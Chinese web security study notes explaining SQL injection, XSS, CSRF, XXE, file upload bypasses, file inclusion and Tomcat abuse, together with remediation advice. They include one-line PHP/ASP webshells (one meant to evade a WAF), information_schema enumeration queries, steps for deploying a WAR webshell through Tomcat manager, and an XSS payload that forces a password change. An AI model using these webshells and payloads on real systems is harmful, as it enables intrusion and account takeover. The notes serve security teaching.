http 80
https 443
Mysql 3306
1、文件上传中nginx解析漏洞的绕过方式:
文件名绕过、目录路径绕过、MIME类型绕过
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
2、常见的命令执行函数

远程命令执行漏洞(RCE)是指可以在仅有远程访问权限的情况下执行系统命令的漏洞,是安全漏洞中危害最大的一类。分为命令注入和代码注入。
-
常见的代码执行函数
-
assert()
-
eval()
-
preg_repace()
-
create_function()
-
array_map()
-
call_user_func()
-
call_user_func_array()
-
-
PHP常见的够执行代码的函数:
eval()、assert()、preg_repace()、create_function()

3.一句话木马,过狗一句话
PHP木马:
<?php @eval($_POST['v']);?>
ASP木马:
<% eval request("v")%>
过狗一句话:
<?php assert($_POST["v"]);?>

-
组合获取
-
concat()
-
group_concat()
-
-
截断函数
-
substr()
-
mid()
-
left()
-
information_schema
-
-
Web安全的主要目标是阻止未经授权的访问和数据泄露。
-
远程命令执行漏洞(RCE)是指可以在仅有远程访问权限的情况下执行系统命令的漏洞,是安全漏洞中危害最大的一类。
-
MYSQL盲注的核心是字符串截断函数和条件判断语句。
-
在WEB应用中,远程命令执行漏洞通常分为命令注入和代码注入两类。
-
WEB应用安全性测试,通常是在WEB应用开发的单元测试和集成测试阶段进行。
-
WEBSHELL又称网页木马文件,根据开发语言的不同又分为ASP木马、PHP木马和JSP木马等。
-
Sql注入时,判断数据库列数的关键字是order by N。
-
XML是一种类似HTML的标记性语言,用来存储标记数据、定义数据类型。
-
MYSQL报错注入的核心是报错函数。
-
Sql注入时,如执行UNION查询时,报错:Illegal mix of collations for operation 'UNION',可以用convert()进行编码转换。
-
程序在解析XML时,解析了XML中的外部实体引用。
-
文件包含指的是在php脚本中使用include和require语句。
-
构造XSS Payload是测试XSS注入攻击的核心工作。
-
序列化是一种将对象的状态信息转换为可以存储或传输的形式的过程(转化为信息流)。
1.SQL注入的原理
SQL注入攻击指通过构建特殊的输入作为参数传入Web应用程序,改变原有的SQL语句的语义来执行攻击者所要的操作,主要原因是程序没有采用必要的措施避免用户输入内容改变原有SQL语句的语义。
2.SQL注入的防范技巧
-
过滤,通过对SQL++关键字和关键符号++的过滤来避免SQL注入漏洞的发生
-
优点:业务改动量小,部署方便,是安全防护软件/硬件常用的解决方案
-
缺点:基于黑名单的工作原理,容易产生误报或被绕过
-
-
编码,基于各类数据库定义的++关键字和符号的转义规则++将用户输入进行转义后组成SQL语句
-
优点:不影响正常请求且不容易被绕过,OWASP ESAPI项目提供了这种解决方案。
-
缺点:整改需要一定的工作量,需要数据库自身的支持,且理论上仍存在的绕过风险。
-
-
预编译,基于++各种语言的预编译功能++ ,先将SQL语句进行编译,用户输入的内容++只会被当做参数传入,不会被编译为命令++
-
优点:从根本上杜绝了SQL发生的可能性。
-
缺点:业务改动量大,建议新开发的项目均采用此种方式避免SQL注入攻击的产生。
-
3.SQL注入的基本流程
(1)注入点分析
-
注入点位置
-
数字型/字符型
-
可利用的方式(联合查询、报错、盲注等)
(2)判断数据库类型
-
Mysql
-
Sqlserver
-
Oracle
-
PostgreSQL
(3)选择漏洞利用目标
-
操作数据
-
读写文件
-
执行命令
(4)构造漏洞利用语句
-
基础利用语句
-
绕过过滤
4.MySQL手工注入代码
内置系统表 information_schema
1、查询数据库名
select group_concat(schema_name) FROM information_schema.schemata;
2、查询表名
select group_concat(table_name) from information_schema.tables where table_schema='xxxxx';
3、查询列名
select group_concat(column_name) from information_schema.columns where table_schema='xxxxx' and table_name='xxxxx';
4、爆数据
Select group_concat(column_name) from table_name;
5.SQL注入的危害
6.XSS(跨站脚本注入)的分类
(1)反射型XSS:直接将HTTP请求中的++用户可控数据++输出到HTML页面中的跨站脚本注入,由于用户可控数据没有被存储,因此只能在单次请求中生效;
(2)存储型XSS:又叫持久型XSS,直接将HTTP请求中的++用户可控数据++存储至数据库中,再从数据库中读取出来输出到HTML页面上,由于数据经过存储,可以持续被读取,攻击影响面和危害都较高;
(3)DOM-XSS:特殊的跨站,将用户可控数据通过JavaScript和DOM技术输出到HTML中,利用方式通常与反射型XSS类似。
7.XSS漏洞修复和防范方法
(1)Web客户端和服务端对用户的输入输出进行过滤或转义,如:<,>,script;
(2)浏览器设置为高安全级别,Cookie属性HttpOnly设置为true,浏览器将禁止 javascript访问带有HttpOnly属性的cookie;
(3)Web服务器安装WAF/IDS/IPS等产品,拦截攻击代码;
(4)关闭浏览器自动密码填写功能,防止被钓鱼页面、表单调取账号密码。
8.Tomcat服务远程部署漏洞利用的方法
(1)寻找和猜测后台管理路径,http://ip:8080/manager/html,利用默认账号密码或者爆破的方法登陆Tomcat管理后台。
(2)制作war包木马,嵌入shell.jsp
准备一个jsp大马(如:shell.jsp)和2个文件夹(meta-inf/web-inf)。
执行命令:jar -cvf shell.war shell.jsp web-inf meta-inf
(3)利用后台管理页面上传部署war包到服务器
(4)上传成功,猜测路径连接shell,http://ip:port/shell/shell.jsp
9.业务逻辑漏洞的原理与分类
业务逻辑漏洞是一类特殊的安全漏洞,通常是++业务逻辑设计不严谨++导致的漏洞。
(1)绕过验证
主要指++身份验证体系设计++存在缺陷,可以使用某些技术手段绕过验证机制冒用他人身份。
(2)越权访问
主要指++权限控制功能++不严谨,使得系统用户可以访问或操作未授权的功能或数据。
(3)交易活动
交易漏洞指++交易相关功能++设计不严谨,导致可免费、低价购买商品或重复领取奖励等。
(4)其他漏洞
如++资源滥用++等。
10.比较一句话木马(小马)和大马的特点

11.针对暴力破解的修复建议
-
所有验证在服务端进行,验证问题的答案不能以任何形式返回客户端中(如图片验证码答案、短信验证码、验证问题答案等)。
-
验证结果及下一步跳转操作由服务端直接进行。
-
应尽可能避免采用连续身份验证机制,无论采用何种验证机制,只有当所有的数据输入以后,才进行身份验证数据的验证。
12.WEB应用安全性测试的基本流程
-
信息收集:尽可能了解测试目标,掌握测试目标的信息(如功能模块、访问方式、应用场景等),获取必要的测试条件(如测试账号)。
-
漏洞扫描与验证:使用自动化测试工具对通用的安全漏洞进行扫描和发现,并通过手工验证的方式验证漏洞的存在性和危害性。
-
手工漏洞挖掘:在自动化测试的基础上,进一步从攻击者的思维对系统进行威胁分析,并模拟黑客攻击的思路和手段,对梳理出的安全威胁进行非破坏性的验证尝试,从而发现系统的漏洞。
-
报告输出与跟踪:将发现的漏洞以明确且易于阅读的方式整理成报告,并提供相应的解决方案,提交给应用管理人员进行整改,同时建立漏洞跟踪机制,确保所有发现的漏洞处置完毕,形成闭环。
13.文件上传的检测手段及绕过方式
对文件上传功能进行一些限制,防止用户上传网页木马文件,但是如果开发者没有使用有效的限制手段,往往不能很好的阻止攻击者上传木马文件,以下是常见的限制手段和绕过限制手段进行上传攻击的方式:

-
客户端检测
-
MIME类型检测
-
文件内容检测
-
扩展名过滤
-
黑名单检测绕过
-
截断绕过xx.php[/0].JPG
-
利用文件解析漏洞绕过1.php.7z apache的解析漏洞
-
/xx.jpg/xx.php Nginx
-
特殊的上传绕过方式 .htaccess叫 分布式 配置文件
-
双文件上传
14.业务逻辑漏洞的挖掘思路

15.文件包含漏洞的防范
(1)在php代码中禁止0字节(\0),防止攻击者截断攻击;
(2)在PHP中配置open_basedir,限制PHP仅能打开某个文件夹的文件,使攻击者无法通过../等方式遍历服务器文件;
(3)尽量避免包含动态的变量,尤其是用户可以控制的变量,可以通过枚举实现;
(4)将PHP配置选项allow_url_include置为off,禁止include/require等函数加载远程文件。
16.CSRF、XSS和XXE的区别
XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
CSRF是跨站请求伪造攻击,XSS是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时 进行 是否由用户自愿发起的确认。
XXE是XML外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。
SSRF(Server-sideRequestForgery)服务端请求伪造
17.CSRF、XSS和XXE的修复方式
-
XSS 修复方式:字符实体转义、用 HTTP Only 来禁止 JavaScript 读取 Cookie 值、 输入时校验、输出时采用html 实体编码。
-
CSRF 修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer。
-
XXE 修复方式 :XML解析库在调用时严格禁止对++外部实体++的解析。
18.XSS和CSRF结合
1、留言板寻找xss漏洞
<script>alert("666")</script>
2、放入攻击代码
<script>
function loadXMLDoc()
{
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","http://xxx/change_1.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("passwd1=123456&passwd2=123456");
}
loadXMLDoc();
</script>